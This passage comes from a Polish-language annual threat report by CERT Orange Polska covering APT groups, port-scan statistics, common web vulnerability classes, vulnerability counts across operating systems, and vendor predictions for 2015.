mow bezpieczenstwa). Przeanalizowana probka wykorzystuje podatnos¢ w pakie-
cie Microsoft Office, aby uruchomi¢ pozornie nieszkodliwy plik wykonywalny ,ews.
exe”. Plik ten uruchamia komponent pakietu Office podatny na tzw. dll side loading
i w efekcie biblioteke DLL, wykonujacg wiasciwy kod ztosliwego oprogramowania
bezposrednio w pamieci komputera. Poczatkowa faza ataku zostata przedstawiona
na rysunku na poprzednigj stronie.

Rysunek 4.

Wiecej informaciji dotyczgcych Backdor. APT.Kaba mozna znalez¢ pod adresem:

Nalezy podkresli¢, ze chociaz pierwsze wystgpienie APT.Kaba zostato odnotowane
w styczniu 2012 roku, grupa odpowiedzialna za ten atak jest wcigz aktywna! W paz-
dzierniku 2014 roku FireEye opublikowat raport APT28 opisujgcy dziatalno$¢ grupy
cyberprzestepcoéw popieranych najprawdopodobniej przez rzad rosyjski. W odrdz-
nieniu od wspomnianych wczesniej atakéw typu APT (Kaba, SpyNet) raport dotyczy
dziatalnosci samej grupy przestepczej, stanowi zatem krok w kierunku fizycznego
zidentyfikowana przestepcow, a nie tylko opisania technologii przez nich wykorzysty-
wanych. Grupa APT28 jest ukierunkowana na zbieranie informacji politycznych oraz
obronnych zwigzanych z krajami Europy Zachodniej, Gruzjg i Kaukazem. Dziata co
najmniej od 2007 roku, ciggle udoskonalajgc i rozwijajgc swoje technologie.

Wiecej informacji dotyczgcych grupy APT28 znajduje sie pod adresem:
, skad mozna réwniez pobra¢ petny raport

oraz wskazniki pozwalajgce na zidentyfikowanie obecnosci grupy APT28 w sieciach
firm i instytucii.

" http://www.fireeye.com/resources/pdfs/apt28.pdf



identyfikatory podatnosci

8. Skanowania portow i podatnosci

Przed przystgpieniem do ataku na sieci informatyczne
agresor zazwyczaj zbiera informacje na temat atakowane-
go celu. Ten proces mozna podzieli¢ na dwa gtdéwne etapy:
pasywne i aktywne zbieranie informaciji. Do tego drugiego
etapu zalicza sie miedzy innymi skanowanie portow, ktére
moze $wiadczy¢ o probach nieautoryzowanych potgczen
w wyniku trwajgcego ataku lub o automatycznym dziataniu
ztosliwego oprogramowania (infekcj).

Skanujac porty, agresor jest w stanie ustali¢, jakiego rodza-
ju ustugi sieciowe sg dostepne na atakowanym urzgdzeniu,
jakie aplikacje oraz w jakich wersjach sg udostgpniane na
otwartych portach, z jakich systeméw operacyjnych korzy-
sta ofiara. Dobierajgc okreslone typy skanowania, moze
ponadto z duzym prawdopodobienstwem zidentyfikowac
rodzaj wykorzystywanych firewalli oraz objete nimi ustugi.
Na podstawie zdobytych w ten sposéb informacji agresor
tworzy mape podatnosci wystepujacych w wykorzystywa-
nych u ofiary systemach operacyjnych oraz okresla dal-
sze scenariusze ataku. Etap aktywnego rozpoznawania
infrastruktury jest zazwyczaj zapowiedzig realnych atakow
na sie¢ informatyczng, dlatego tak istotne jest skuteczne
wykrywanie i utrudnianie bgdz uniemozliwianie takich prob.

8.1 Skanowania portéw

CERT Orange Polska uzyskat techniczng mozliwos¢ iden-
tyfikacji i analizy skanowan portéw od czerwca 2014 roku.
W analizowanym okresie (VI-XIl 14) najczesciej skanowa-
nymi portami byty: 8080, 5900, 10073 oraz 1433.
Top 10 najczesciej skanowanych portéw i ich zastosowanie:
e Port 8080
Jest uzywany przez wiele serweréw web proxy oraz
aplikacji, m.in. Syncthing GUI, M2MLogger lub serwer
Apache Tomcat.
Port 5900
Uzywany przez Virtual Network Computing (VNC), opro-
gramowanie umozliwiajgce zdalny dostep do komputera.
Wiele jego wersji jest podatnych na ominiecie uwierzy-
telnienia i uzyskanie zdalnego dostepu bez znajomosci
hasta, z tego powodu cyberprzestepca moze przejac
kontrole nad zaatakowanym urzgdzeniem.

RealVNC 4.1.1 — CVE-2006-2369

UltraVNC 1.0.1 — CVE-2006-1652

UltraVNC 1.0.2 - CVE-2008-5001, CVE-2009-0388
Vino VNC Server — CVE-2013-5745

Zeby sie broni¢ przed aktywnym rekonesansem oraz

wykorzystaniem podatnosci nalezy:

e dbac¢ o aktualizacje oprogramowania,

° nie uruchamia¢ nadmiarowych (niepotrzebnych) ustug
sieciowych,
starannie konfigurowa¢ zapory sieciowe, udostepnia-
ne ustugi sieciowe oraz inne systemy bezpieczenstwa,
wprowadzi¢ Virtual Patching (blokowanie w syste-
mach posrednich: IPS (Intrusion Protection System)/
HIPS (Host Intrusion Prevention System)/IDS (Intrusion
Detection System), mozliwosci wykorzystania podat-
nosci) w przypadku, gdy aktualizacja oprogramowania
nie usunie podatnosci.

Ponizsze wyniki poparte dalszymi analizami ekspertéw
Orange Polska docelowo stanowig réwniez przyczynek do
rozszerzenia listy blokowanych portéw, zas wyniki skanowa-
nia podatnosci przyniosty bezposredni efekt w postaci usu-
niecia potencjalnych zagrozen w systemach Orange Polska.
Orange Polska jako pierwszy operator wprowadzit domysi-
ne blokowanie dostepu do portdow nie wykorzystywanych
przez uzytkownikdw, a stuzgcych jako wektor ataku ze
wzgledu na fakt, ze wedtug domysinych ustawien systemu
pozostajg one dostgpne dla ruchu sieciowego.

Port 1433

Uzywany standardowo przez MS SQL Server, popular-
ny system zarzgdzania bazami danych. W przesztosci
byt podatny na zdalne wykonanie kodu przez prze-
petnienie bufora (CVE-2002-1123) oraz zablokowanie
pracy serwera przez atak DDoS (CVE-1999-0999).
Najwiecej atakow na port 1433 przeprowadzano
z Chin, Stanéw Zjednoczonych, Republiki Korei Potu-
dniowej oraz Wietnamu.

Port 81

Uzywany bezposrednio przez czes¢ instancji malware.
Porty 21320, 10073

Nieobstugiwane przez zadne dedykowane oprogra-
mowanie, prawdopodobnie uzywane do realizacji jed-
nego z backdoorow.

Port 110

Protokdt POP3 uzywany do odbioru poczty elektro-
nicznej.




Uzywany przez aplikacie Squid serwer posredniczacy
(Proxy). Podatny na dwa typy atakéw: zablokowania
ustugi spreparowanymi nagtéwkami http oraz umoz-
liwienie wykonania kodu przez przepetnienie bufora.
Celem ataku moze by¢ tez wykorzystanie otwartych
serwerdw proxy do dalszych atakdéw, co utrudnia
wykrycie sprawcy.

Uzywany przez Asterisk Web Configuration (PBX),
webowy interfejs stuzgcy do zarzgdzania centralg VolP.
W wielu wersjach system ma liczne btedy umozliwia-
jace zdalne przejecie kontroli, ominiecie autoryzacii
i uwierzytelnienia uzytkownika, a takze przeprowadze-
nie ataku Denial of Service na centralke VolP.

Uzywany do uwierzytelniania przez réznego rodzaju
serwery IRC.

Fakt najwiekszej popularnosci ustugi proxy wynika
W znacznej czesci z tego, ze umozliwia ona atakujgcemu
wykorzystanie komputera nieswiadomej ofiary do potgcze-
nia z kolejnym serwerem, a w efekcie do przeprowadze-
nia bardziej anonimowego ataku docelowego. Wigkszos¢

—
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skanowanych portdéw jest wykorzystywana przez atakujg-
cych przede wszystkim do skompromitowania urzgdzen
poprzez wykorzystanie niezaktualizowanych aplikacji, sko-
rzystania z funkcjonalnosci aplikacji w celu skkompromito-
wania kolejnych urzgdzen lub zarzgdzania juz skompromi-
towanymi.

Ponizej lista krajow, z ktdrych przeprowadzono najwigkszg
liczbe skanowan portéw. Tabela powstata w wyniku ana-
lizy przez CERT Orange Polska adreséw IP zrodet skano-
wania. Najwieksza liczba skanowan pochodzi z adresow
zrodtowych z lokalizacjg w Stanach Zjednoczonych. Dla
skanowan prowadzonych z adresacji IP tego kraju zaob-
serwowano roéwniez najszerszy zakres badanych portow.
Tabela 1.

Tak szeroki zakres prowadzonego rozpoznania moze
Swiadczy¢ o poszukiwaniu tylnych furtek dla systemow
i aplikacji nastuchujgcych na niestandardowych portach
lub budowania mapy dostepnych ustug. Mnigejsza liczba
unikalnych skanowanych portow z adresaciji IP innych kra-
jow moze by¢ dowodem na poszukiwanie przez skanujg-
cych konkretnych podatnych ustug.

922
141
527
478
122
146
130

21

12
311

Tabela 1. Kraje, z ktdrych wykryto najwigkszg liczbe skanowanych unikalnych portdw (pozycje wg. liczby skanowari)

Dzieki podatnosciom w ustugach badz systemach ope-
racyjnych atakujgcy sg w stanie przejg¢ dany serwis albo
nawet caly serwer, na ktérym funkcjonuje ustuga. Jednym
z najbardziej destrukcyjnych atakéw wykorzystujgcych
podatnosci jest atak wymierzony bezposrednio w syste-
my operacyjne. Czesto udostepniajg one roznego rodzaju
ustugi sieciowe lub lokalne, dajgc atakujgcemu, po przeje-
ciu kontroli nad ustuga, petng swobode pracy.

Do najczestszych atakéw zaobserwowanych przez CERT
Orange Polska naleza:

— wstrzykniecie zapytania SQL umozli-
wiajgcego np. podejrzenie logindw i haset, zrzut bazy
danych do pliku, usuniecie tabel lub przeczytanie pli-
kow

— manipulacja zawartoscig
strony dzieki wstrzyknigtemu kodowi dziatajgcemu
w przegladarce internetowej klienta. Efektem moze by¢
utrata danych, eskalacja uprawnien, atak na inne apli-
kacje. XSS to kradziez ,ciasteczka” sesyjnego, robaki,
infekujgce serwisy spotecznosciowe lub wstrzykujgce
,p0d” faktyczng witryne niewidoczne ramki wykonu-
jace akcje bez wiedzy uzytkownika, np. pobierajgce
ztosliwe oprogramowanie.

— pozwala wyko-
rzysta¢ sesje uzytkownika do nieswiadomego prze-
syfania zgdan do aplikacji interpretujgcej te zadania
w kontekscie sesji uzytkownika jako poprawne. Ataki
CSRF prowadzg do eskalacji uprawnien, zmiany badz
ujawnienia danych (w tym uwierzytelniajgcych). Naj-
czesciej powigzane s3 z siecig www i protokotem http,
znane sg tez przypadki wystepowania tej podatnosci
np. w serwerze ftpd (CVE-2008-4247). Wymagana
jest znajomos¢ struktury atakowanej aplikacii.

— bezposredni
dostep do chronionych danych poprzez manipulowa-
nie parametrami zgdan http.

— zdalne zaimportowanie
i wykonanie kodu (np. PHP) wykonywanego przez
atakujgcego w ramach podatnej strony, nastepnie zas
wykorzystanie luki, by wykona¢ ten kod po stronie
serwisu atakowanego. Wykorzystywane najczescigj
w celu uzyskania dostepu do danych chronionych.

— podpatrzenie plikdw na serwe-
rze w zaleznosci od narzuconych uprawnien. Pozwala
czesto réwniez na odczytanie plikow z rozszerzeniami

php, asp etc. Wsrdd nich mogg sie znalez¢ np. pliki
konfiguracyjne przechowujgce hasta do baz danych,
itd.

— czesty btgd w mecha-
nizmach pobierania plikéw. Pozwala na pobranie
dowolnego (w ramach uprawnien) pliku za pomoca
odpowiedniej manipulacji $ciezkami. Czesto tez umoz-
liwia pobranie plikéw, np. php, co moze prowadzi¢ do
przejecia serwisu WWW.

— do czestych przyktadéw btedéw
logicznych nalezy np. niesprawdzanie rozszerzenia
podczas uploadu plikéw. Btad ten moze prowadzi¢ do
zatadowania pliku php i wykonania dowolnego kodu.

W ponizszym zestawieniu znajdujg sie statystyki podatno-
Sci dotyczgce aplikacji webowych oraz systeméw opera-
cyjnych zaobserwowane przez zespdt CERT Orange Pol-
ska za pomocg Systemu Wykrywania Podatnosci (SWP).
SWP to zintegrowane rozproszone systemy identyfikacii
i zarzadzania podatnosciami, ktére cyklicznie monitorujg
wybrane segmenty sieci oraz aplikacje www. Po kazdym
z takich cykli generowane sg raporty informujgce o stanie
bezpieczenstwa monitorowanych systeméw, przesytane
nastepnie automatycznie do oséb odpowiedzialnych za
utrzymanie systemow.

CERT Orange Polska wykryt w objetych analizg na potrze-
by ninigjszego raportu przygotowanych do wdrozenia
zasobach WWW nalezgcych do Orange Polska 181 uni-
kalnych podatnosci o réznych poziomach krytycznosci:

— ujawniajg np. $ciezki dostepu do pli-
kéw, dane dotyczgce wersii i typu wykorzystywanego
oprogramowania,

— minimalny bezposredni wptyw na bezpie-
czenstwo aplikacji lub systemu, mogag dotyczy¢ braku
szyfrowania danych lub stabosci w wykorzystywanych
algorytmach kryptograficznych,

—moga prowadzi¢ do catkowitego przetama-
nia zabezpieczen systemu przy spemieniu okreslonych
warunkéw (np. zdalne wykonanie polecenia w syste-
mie operacyjnym, gdy uzytkownik zostanie poprawnie
autoryzowany w aplikacii),

— majg bezposredni i natychmiastowy
wpltyw na bezpieczenstwo systemu badz aplikacji bez
koniecznosci spetniania dodatkowych warunkéw.

Wykres 17.
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Wykres 17.

Podatnosci w badanych aplika-
cjach WWW w podziale na poziom
krytycznosci

Wykres 18.

Liczba unikalnych podatnosci
aplikacjach WWW wprowadzanych
do wdrozenia w skali danego
miesigca.

Wykres 19.

Podatnosci wykryte w systemach
operacyjnych w podziale na po-
ziom Krytycznosci

Wykres 20.

Liczba unikalnych podatnosci
w systemach operacyjnych
w podziale na miesigce

Kolejny wykres przedstawia liczbe unikalnych podatnosci
w badanych aplikacjach WWW wprowadzanych do wdro-
zenia w podziale na miesigce, w ktorych wystgpity. W ubie-
glym roku $rednia miesigczna liczba podatnosci wykrytych
w aplikacjach objetych analizg na potrzeby raportu przy
uzyciu SWP oscylowata w okolicy 70.

>> Wykres 18.

Liczba wystepujacych podatnosci nie ma statej tendenciji
spadkowej ani wzrostowej. Powodem jest m.in. wprowa-
dzanie ciggtych zmian w monitorowanych srodowiskach
przez takie czynniki jak prace developerskie, zmiana funk-
cjonalnoéci oraz poziom wiedzy na temat bezpieczenstwa
poszczegodinych deweloperdw i administratoréw.

Ponizej lista Top 10 podatnosci obserwowanych na obje-
tych analizg serwerach webowych:
>> Tabela 2.

Ponizsza tabela przedstawia liste 10 najczesciej wystepu-
jacych podatnosci z kategorii ryzyka ,wysokie”.
>> Tabela 3.

W przypadku systemédw z rodziny Windows btedy wyste-
pujg przewaznie w niezabezpieczonych ustugach: SMBS,
RPC?®, LSASS'™, UPnP'"'. Wiekszo$¢ z nich umozliwia swo-
bodny dostep do podatnego urzgdzenia, po odpowied-
nim wykorzystaniu luki w oprogramowaniu. Zazwyczaj
wystarczytoby odpowiednio dbac¢ o utrzymanie systemow,
by znacznie zminimalizowa¢ ryzyko udanego ataku. Dzig-
ki prowadzonym cyklicznie przez CERT Orange Polska
testom bezpieczenstwa infrastruktury i aplikacji rekomen-
dacje bezpieczenstwa wdrazane przez utrzymujgcych sys-
temy i aplikacje zmniejszajg mozliwos¢ przejecia kontroli
nad systemami lub wycieku informacii.

W zestawieniu na poprzednigj stronie znajduja sie staty-
styki dotyczgce podatnosci zidentyfikowanych w anali-
zowanych przez zespét CERT Orange Polska systemach
operacyjnych.

>> Wykres 19.

Podatnos¢ Liczba Procent w stosunku
do wszystkich podatnosci

Directory Listing

Possible temporary file/directory

Application error message

Cross site scripting

Email address found

Session Cookie without Secure flag set
Password type input with auto-complete enabled

Unicode transformation issues

6474 21%
3822 12%
1295 4%
1221 4%
1132 3%
1006 3%

791 2%

758 2%

Tabela 2. Podatnosci (w tym informacyjne) wystepujgce najczesciej w serwerach web przygotowanych do wdrozenia produkcyjnego

Cross-Site Scripting

Unicode transformation issues

SVN repository found

Poodle

Slow HTTP Denial of Service attack
CRIME SSL/TLS (attack)

jQuery cross-site scripting

Vulnerable Javascript library

Microsoft IIS tilde directory enumeration

Backup files

1221
758
605
277
180
134

86
83
43
20

Tabela 3. Najczesciej wystepujgce podatnosci, moggce generowac powazne zagrozenia dla serwerdw webowych

8 Protokét udostepniania zasobow (dyskow, folderdw, plikdw) w sieci

9 Protokét zdalnego wywotania procedur w komunikacji miedzy komputerami
9 Podsystem odpowiedzialny za polityke bezpieczenstwa w MS Windows

" Protokét wykorzystywany m.in. do autokonfiguraciji przez sie¢
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Podatnos¢ Liczba wystgpien Procent w stosunku
do wszystkich podatnosci

Web Server HTTP Protocol Version Detected

Hidden WWW Server Name Detected

HTTP Server Prone To Slow Denial Of Service Attack
McAfee Common Management Agent Detected

Web Server Self-Signed TLS/SSL X.509 Certificate

SSL Certificate Short Public Key

Web Server Supports Weak SSL Encryption Certificates
Web Server Redirection Detected

IETF X.509 Certificate Signature Collision Vulnerability
VNC HTTP Console

Tabela 4. Podatnosci (w tym informacyjne) wystepujgce najczesciej w systemach operacyjnych

Liczoa wysigpien

JBoss EJBInvokerServiet / JMXInvokerServiet Marshalled Object Remote Code Execution

Cisco IP Phone Information Disclosure

HP System Management Homepage ginkgosnmp.inc Security Bypass

Apache httpd Ranges Header Field Memory Exhaustion

PHP sqlite_udf_decode_binary() Buffer Overflow Vulnerability

PHP imap_mail_compose() Stack Buffer Overflow Vulnerability

PHP sqlite_udf_decode_binary() Buffer Overflow Vulnerability (CVE-2007-1887)

Apache HTTP Server mod_proxy Reverse Proxy Denial of Service Vulnerability
(VMSA-2013-0014) VMware ESX/ESXi LGTOSYNC.SYS Driver Privilege Escalation Vulnerability
(HPSBMUO02947) HP System Management Homepage Multiple Vulnerabilities Prior To 7.3

Tabela 5. Najczesciej wystepujgce w systemach operacyjnych podatnosci z kategorii wysokie

System Operacyjny Unikalna liczba podatnosci w Orange Polska

17
108

Windows Server 20083 (Service Pack 2)
Linux 2.6.x

Windows XP

Linux 2.6.18

Windows XP (Version 5.1, Service Pack 3, Build 2600, Professional)

Windows 7 Professional (Service Pack 1)
Linux 2.4.x

Cisco I0S

Windows 7 (Service Pack 1)

Tabela 6. Systemy operacyjne z najwiekszg liczbg unikalnych podatnosci

6492
4102
3032
3010
1112
1102
1093

628

401

331

96
68
49
32
26

8

7

23%
14%
11%
10%
4%
4%
4%
2%
1%
1%

134

78
75
49
49
41
39
35
20
19

Najwiekszg liczbe luk bezpieczenstwa w analizowanych
systemach operacyjnych zaobserwowano w miesigcach
marzec-kwiecienn 2014 roku. W marcu zidentyfikowano
429 unikalnych podatnosci, natomiast w kwietniu — 594.
To znaczgcy wzrost w poréwnaniu do stycznia, gdy licz-
ba ta wynosita zaledwie 13. Jest to zwigzane z premie-
rami nowych wersji oprogramowania (w tych miesigcach
ponad 80 procent to podatnosci z kategorii ,informacyj-
ne”). Wykres 20 przedstawia liczbe wykrytych unikalnych
podatnosci w podziale na miesigce, w ktorych zostaty
zidentyfikowane.
>> Wykres 20.

Pomimo tak nagtego wzrostu liczby podatnosci w nastep-
nych miesigcach widoczny jest ich spadek — w grudniu
2014 roku do 117 unikalnych podatnosci. Spadek liczby
zidentyfikowanych podatnosci wynika z mechanizméw
zarzgdzania ryzykiem stosowanych w Orange Polska.
Osoby odpowiedzialne za utrzymanie systemoéw sg na
biezaco informowane o stanie bezpieczenstwa. Ponadto
niezaleznie od dziatania systemu SWP w organizacji wdro-
zone sa procesy i polityki majgce na celu ciggta poprawe
stanu bezpieczenstwa. Wzrost liczby podatnosci z grud-
nia w stosunku do poprzednich miesiecy wynika miedzy
innymi z faktu, ze jest to miesigc, w ktérym wstrzymuje sie
wiele prac migracyjnych i utrzymaniowych, ograniczajgc je
do niezbednego minimum z uwagi na przygotowanie do
zamkniecia roku. Wptywa to na mozliwos¢ prowadzenia
zmian w monitorowanej infrastrukturze.

Wykres 21 przedstawia liczbe wystgpien podatnosci
w podziale na poziom krytycznosci.

>> Wykres 21.

Tabela na poprzedniej stronie przedstawia dziesie¢ najcze-
Sciej wykrywanych podatnosci. Wiekszos¢ z nich nalezy
do kategorii ,informacyjne”.

>> Tabela 4.

Tabela 5 to Top 10 podatnosci systemdw operacyjnych
z kategorii ,wysokie”:
>> Tabela 5.

Systemy operacyjne, na ktorych wykryto najwiecej unikal-

nych podatnosci, to:

*  Windows Server 2003 (Service Pack 2) — 201 unikal-
nych podatnosci,

e Linux 2.6.x — 193 unikalne podatnosci,

*  Windows XP — 110 unikalnych podatnosci.

Tabela 6 pokazuje zestawienie systemoéw operacyjnych
z unikalng liczbg wykrytych podatnosci.
>> Tabela 6.

W wyniku analizy podatnych systemow operacyjnych

i poréwnania z danymi ze Swiata za rok 20142 nasuwajg

sie nastepujace wnioski:

e podatnosci w systemach Windows Server 2003 sta-
nowig 31 procent wszystkich podatnosci,

° podatnosci w systemach Windows XP stanowig
15 procent wszystkich podatnosci,

° podatnosci w systemach Linux stanowig 12 procent
wszystkich podatnosci.

Powyzsze nie powinno dziwi¢ z uwagi na fakt, ze Windows

XP nie jest juz objety petnym supportem producenta, a okres

wsparcia dla Windows 2003 zakonczy sie w biezacym roku.

Proces migracji do nowszych wersji systeméw potrwa jesz-

cze zapewne jaki§ czas, co sprzyja atakujgcym, chcacym

wykorzystac¢ znane, publikowane i wcigz niezabezpieczone

podatnosci tych systemow. Dlatego bardzo istotne jest sto-

sowanie ochrony metodg ,Defense-in-Depth”, czyli wielo-

warstwowego zabezpieczenia zasobdw znacznie utrudnia-

jacego przeprowadzenie skutecznego ataku.

Relatywnie wysoka liczba podatnosci wystepujgcych
w systemach Linux wynika z faktu wystepowania wielu
dystrybucji tej rodziny systeméw i ujmowania ich w staty-
stykach jako jednej grupy. Dla czesci z nich dostgpne jest
wysokopoziomowe wsparcie, natomiast bezpieczenstwo
innych zalezy gtéwnie od kompetencii i Swiadomosci zagro-
zen administratoréw nimi zarzadzajgcych. Najczestszymi
metodami atakéw wykorzystujgcych podatnosci, a skiero-
wanych w systemy operacyjne i ich ustugi, sg ataki stowni-
kowe na mechanizmy uwierzytelnienia, przede wszystkim
na takie ustugi jak: Telnet, RDP, VNC oraz SSH.
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9. Cyber-swiat 2015
oczami partnerow Orange Polska

McAfee. Sebastian Zamora
Channel Account Manager

Rok 2015 bedzie kolejnym, w ktdrym zaobserwujemy wzrost zjawiska cyberszpiego-
stwa. Niektoére panstwa oraz grupy terrorystyczne wykorzystajg cyberprzestrzen do
walki ze swoimi wrogami. Bedg to czynity poprzez ataki DoS lub przy wykorzy
staniu zaawansowanego malware. Jednoczesnie w tym czasie cyberszpiedzy stang
sie bardziej niewidoczni dzieki udoskonalonym metodom ukrywania swojej obecno-
8ci w sieci ofiar, przez co stang sie jeszcze bardziej grozni. McAfee Labs obserwu-
je interesujgce zjawisko dotyczace aktywnosci pochodzacej z Europy Wschodniej.
Atakujgcy stajg sie coraz bardziej cierpliwi, co oznacza, ze odchodzg od modelu
ataku i ucieczki, koncertujgc sie na byciu niewidocznym w oczekiwaniu na dogodny
moment do wykorzystania/sprzedazy pozyskanych danych.

Rok 2015 przyniesie ogromny przyrost inteligentnych urzgdzen podtgczonych do
sieci (Internet of Things) — nie tylko tych tworzacych Inteligentny Dom! Po stronie
biznesu mamy do czynienia z urzgdzeniami wykorzystywanymi przy produkcji oraz
aparature medyczng. Zakres oprogramowania i ztozonos¢ towarzyszace temu zja-
wisku nie sprzyjg bezpieczenstwu w tym zakresie. Ataki na urzgdzenia loT stang sie
bardziej powszechne od atakéw na kamery IP, systemy SCADA czy wkraczajgce do
Polski inteligentne liczniki energii elektryczne;.

Dlatego wedtug McAfee Labs mozna sie spodziewac duzego ataku zwigzanego bez-
posrednio z internetem rzeczy. Coraz czesciej celem bedg systemy mobilne, przede
wszystkim dla atakoéw typu ransomware, wymuszajgcych okup za zwrdcenie uzyt-
kownikowi dostepu do przechowywanych na tych urzgdzeniach coraz istotniejszych
danych. Rok 2015 bedzie polem walki pomiedzy specjalistami wykrywajgcymi i eli-
minujgcymi podatnosci systemow ptatnosci mobilnych a atakujgcymi starajgcymi sie
wykorzystac te podatnosci. McAfee Labs przewiduje nasilong dyskusje wokot tematu
prywatnosci, szczegolnie w zakresie definicji pojecia danych osobowych. Unia Eu-
ropejska skupi sie na regulacjach dotyczgcych ochrony danych, a w efekcie takze
ograniczania anonimowosci uzytkownikow sieci, ktorzy beda popularyzowa¢ metody
obchodzenia tych ograniczen. Kazdy aspekt regulacji Unii w tym zakresie bedzie miat
w mnigjszym lub wiekszym stopniu wptyw na panstwa narodowe i organizacje bizne-
sowe w Unii.

Nalezy sie spodziewa¢ ekstremalnych przyrostoéw atakéw kierowanych na systemy
niewindowsowe. W drugiej potowie 2014 roku swiat dowiedziat sie o luce Shellshock,
podatnosci Bash w systemach Unix, Linux, OS X. Podatnos¢ ta pozwala atakujgce-
mu na wykonanie dowolnej komendy na urzgdzeniu ofiary, co czyni te podatnosé
jedna z najgrozniejszych. Wiele urzadzen dziata na bazie jakiejs formy Linuxa czy
Unixa (sterowniki przemystowe, systemy lotnicze, telewizory). Dopiero zaczynamy
rozumie¢ nature tej luki. Ataki beda skierowane na zaistnienie w infrastrukturze ofiary:
od uzytkownikéw domowych poprzez przedsigbiorstwa zalezne od urzadzen bazu-
jacych na podatnych systemach. Cyberprzestepcy beda chcieli spieniezy¢ inwesty-
cje we wtasciwym czasie, zadajgc okupu czy sprzedajac wrazliwe dane. Zamkniecie
jednych luk spowoduije penetracje systemow i wykrycie nowych przez atakujgcych.

McAfee Labs przeanalizowato prébki malware dostepne w swoim laboratorium
w celu zbadania, jak czesto malware jest w stanie wykorzysta¢ znane podatnosci
aplikacji. W zaleznosci od kwartatu od 1 do 6 procent probek wykorzystato znang luke.
W 2015 roku McAfee Labs przewiduje wzrost nowo wykrytych luk bezpieczenstwa
w aplikacjach oraz wzrost ztosliwego oprogramowania wykorzystujgcego nowe luki.

Wiele krytycznych i popularnych aplikacji: Microsoft Internet Explorer, Adobe Reader
czy Google Chrome ma zaimplementowane mechanizmy sandboxingu. Poniewaz
te mechanizmy w skuteczny sposéb eliminujg wiele prébek ztosliwego oprogra-
mowania, twércy malware bedg szuka¢ nowych sciezek dotarcia do swoich ofiar.
Podatnosci, ktére utatwiaty obejscie inspekcji sandboxa, zostaty wykryte w wielu
aplikacjach, zas w McAfee Labs zaobserwowano techniki wykrywania stabosci po-
zwalajgcych uciec przed inspekcjg sandbox. To tylko kwestia czasu, by zostaty one
udostepnione szeroko na ,rynku producentéw malware”.

W minionym roku badacze z FortiGuard Labs znalezli oprogramowanie Dorkbot/
NGRbot wyposazone w procedury, ktére w przypadku modyfikacji kodu powodo-
waty samozniszczenie intruza i jednoczesne usunigcie wszystkich danych z dysku
twardego. Jest to wyraznie bezposrednia odpowiedz na coraz wiekszg popular-
nos¢ ustug reagowania na sytuacje naruszenia bezpieczenstwa.

Fortinet przewiduje, ze autorzy atakéw typu APT beda opracowywali mechanizmy
samozniszczenia dziatajgce na zasadzie ,wyszukaj i zniszcz”, co powaznie utrudni
prace organom scigania. Cyberprzestepcy moga réwniez wykorzystywac te takty-
ke do wymuszania okupu, na przykfad grozac, ze w przypadku nieprzelania okre-
slonej kwoty na podane konto firma straci wszystkie swoje dane.

Poniewaz organy scigania coraz czesciej tapig cyberprzestepcow i doprowadzajg
ich do sgdu, powstang nowe, zaawansowane techniki unikania wykrycia. Dziatania
na tym polu beda skoncentrowane na unikaniu wydzielonych srodowisk urucha-
miania aplikacji (ang. sandboxes), a takze kierowaniu podejrzen na niewinne osoby
dzieki zostawianiu fatszywych sladéw. Cyberprzestepcy (crackerzy) beda atakowacé
Internet Rzeczy — systemy automatyzacji domowej i zabezpieczania prywatnych
domow i mieszkan (alarmy, monitoring), a takze kamery internetowe. W niebezpie-
czenstwie znajdg sie newralgiczne elementy infrastruktury takie jak interfejsy czio-
wiek-maszyna (Human Machine Interface, HMI) czy systemy przemystowe (SCA-
DA). Najczesciej rozpowszechniane i sprzedawane szkodliwe oprogramowanie
bedzie wyposazone w funkcje pozyskiwania danych i nadzoru.

Rok 2014 nazywany jest ,rokiem kradziezy danych”, Wystarczy wspomnie¢ choc¢-
by gtosne wtamania do sklepdéw Target, Michaels, P.F. Chang’s czy Home Depot.
Specjalisci FortiGuard Labs przewidujg, ze w 2015 roku ta tendencja sie utrzyma,
crackerzy beda wykorzystywac bardziej zaawansowane techniki i znajda nowe luki
w zabezpieczeniach systemow sklepdw oraz instytucji finansowych.

Serwisy przestepcze juz teraz oferujg ustugi kontroli jakosci szkodliwego oprogra-
mowania. W 2015 roku ich wachlarz zostanie rozszerzony o unikanie wykrycia przez
zaawansowane systemy bezpieczenstwa i wymykajace sie wykryciu wskazniki loC
(ang. Indicator of Compromise). W miare rozbudowywania mozliwosci badawczych
i ustug oferowanych przez serwisy przestepcze crackerzy bedg wykorzystywac
tego samego rodzaju procesy w celu ustalania najlepszych sposobéw na ominie-
cie zabezpieczen. Przestepcy skupig sie takze na analizie infrastruktury botnetowe;j
pod katem wykrywalnosci przez rozwigzania réznych dostawcow.

Fortinet. Derek Manky
Specijalista ds. Globalnych Strategii
Bezpieczenstwa
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W 2014 roku poznalismy site prawdziwych wolumetrycznych atakéw DDoS (takich
o sile powyzej 10 Gbps) i ten trend bedzie narastat. Juz atak o sile przekraczajacej
1 Gbps moze sta¢ sie problemem nawet dla duzej firmy, a nawet dla dostawcy inter-
netu. Tymczasem ataki przekraczajgce 20, czy 50 Gbps nie sg rzadkoscig i to trzeba
sobie uswiadomic¢, bo sytuacja bedzie sie pogarszac.

Przez ostatnie lata pokazywano nam przyktady atakow, ktére moga przetozy¢ sie
bezposrednio na ofiary w ludziach — na rozruszniki serca, pociagi, samochody, czy
nawet samoloty. W mojej opinii pytanie powinno brzmie¢ nie ,czy”, ale ,kiedy” to sie
stanie. Podobnie powinno brzmie¢ pytanie o kolejne coraz bardziej efektywne ataki
na infrastrukture krytyczna: sieci przesytowe pradu, wody, telefoniczne, telewizyjne,
a nawet komunikacije policji i strazy pozarnej. Najbardziej zaawansowane kraje moga
mie¢ spore problemy z uchronieniem sie przed tego typu atakami.

A jesli nie atak, to moze okup? Kilkuka ubiegtorocznych przypadkoéw ,ransomware”,
oprogramowania uzalezniajgcego np. odszyfrowanie plikow od zaptacenia okupu,
pokazato, ze moze sie to okaza¢ groznym trendem. Pamietajmy, ze zgdania cyber-
przestepcow wcale nie muszg by¢ zwigzane z kwestiami finansowymi.

W 2015 roku wedtug Fundacji Bezpieczna Cyberprzestrzen, ktéra przygotowata
raport o zagrozeniach w internecie'®, powinnismy sie przygotowac na trzy gtéwne
rodzaje zagrozen:

phishing z wykorzystaniem poczty elektronicznej i serwiséw WWW — 4,674,

zagrozenia dla platformy Android — 4,28,

ataki DDoS na podmioty komercyjne — 4,28.

Niechlubnym liderem od lat pozostajg akcje phishingowe, cho¢ w ubiegtym roku
oceniane byty jako nieco mniej prawdopodobne ryzyko (4,39). Opinia ekspertow po-
